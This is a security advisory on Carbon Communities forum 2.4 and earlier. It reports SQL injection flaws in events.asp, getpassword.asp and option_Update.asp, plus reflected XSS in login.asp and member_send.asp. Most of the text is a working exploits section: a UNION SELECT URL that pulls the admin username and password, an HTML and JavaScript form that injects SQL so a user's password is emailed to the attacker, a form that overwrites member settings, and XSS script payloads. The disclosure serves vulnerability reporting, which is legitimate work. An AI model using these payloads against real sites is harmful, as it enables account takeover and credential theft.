Carbon Communities forum Multiple Vulnerabilities.
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# AmnPardaz Security Research Team
#
# Title: Multiple Vulnerabilities in Carbon Communities forum.
# Vendor: www.carboncommunities.com
# Vulnerable Version: 2.4 and prior versions
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/35
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1. Description:
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Carbon Communities is a high powered, fully scalable, and highly customizable
online portal, message boards/ bulletin board, discussion hub, Private
messaging, Event Calendars, Emails and chat software rolled into one.
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2. Vulnerability:
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2.1. There is a SQL Injection in "events.asp?id=[Injection]". By using
it, attacker can gain usernames and passwords.
2.1.1. POC:
Check exploits section.
2.2. There is a SQL Injection in "getpassword.asp". By using it,
attacker can send any password to his/her email address.(exploit available)
2.2.1. POC:
Check exploits section.
2.3. There is a SQL Injection in "option_Update.asp". By using it,
attacker can update member info.(exploit available)
2.3.1. POC:
Check exploits section.
2.4. There are some XSS in "login.asp" and "member_send.asp".
2.4.1. POC:
/login.asp?Redirect='><script>alert('XSS')</script><fake a='
/member_send.asp?OrderBy='><script>alert('XSS')</script><fake a='
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3. Exploits:
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Original Exploit URL: http://bugreport.ir/index.php?/35/exploit
3.1. Attacker can gain usernames and passwords:
-------------
http://[CarbonCommunitiesURL]/events.asp?ID=-1 union all select
1,1,1,'Username= '%2bmember_name%2b'<br>Password=
'%2bmember_password,1,1,1,1,1,1,1 from tbl_Members where member_name = 'admin'
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3.2. Attacker can send any password to his/her email address:
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<script language="javascript">
function check(){
document.getElementById("UserName").value = "1'
or uCase(Member_Name)='"+ document.getElementById("UserName").value
}
</script>
<form action="http://[CarbonCommunitiesURL]/getpassword.asp";
method="post" onsubmit="check()">
UserName: <input type="text" name="UserName" id="UserName"
value="default" size="100" />
<br />
EMail: <input type="text" name="EMail" value="Your Email
Address" size="100" />
<br />
<input type="submit" />
</form>
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3.3. Attacker can update member info.:
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<form
action="http://[CarbonCommunitiesURL]/option_Update.asp?Action=edit";
method="post">
ID<input type="text" name="ID" value="1"/>
<br />
Member_Cookies<input type="text" name="Member_Cookies"
value="Yes" />
<br />
Member_SystemCookies<input type="text"
name="Member_SystemCookies" value="Yes" />
<br />
Member_Center<input type="text" name="Member_Center" value="1"
/>
<br />
Member_EmailTheadResponse<input type="text"
name="Member_EmailTheadResponse" value="1" />
<br />
Member_EmailPostResponse<input type="text"
name="Member_EmailPostResponse" value="1" />
<br />
Member_WeekStart<input type="text" name="Member_WeekStart"
value="0" />
<br />
Member_ThreadDays<input type="text" name="Member_ThreadDays"
value="0" />
<br />
Member_ThreadView<input type="text" name="Member_ThreadView"
value="0" />
<br />
Member_Invisible<input type="text" name="Member_Invisible"
value="1" />
<br />
Member_HiddenEmail<input type="text" name="Member_HiddenEmail"
value="0" />
<br />
Member_ReceivePM<input type="text" name="Member_ReceivePM"
value="1" />
<br />
Member_PMEmailNotice<input type="text"
name="Member_PMEmailNotice" value="1" />
<br />
Member_PMPopup<input type="text" name="Member_PMPopup"
value="1" />
<br />
Member_Newsletter<input type="text" name="Member_Newsletter"
value="0" />
<br />
Member_TimeZone<input type="text" name="Member_TimeZone"
value="0" />
<br />
Member_DefaultColor<input type="text"
name="Member_DefaultColor" value="1" />
<br />
<input type="submit" />
</form>
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4. Solution:
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Edit the source code to ensure that inputs are properly sanitised.
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- Credit :
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AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
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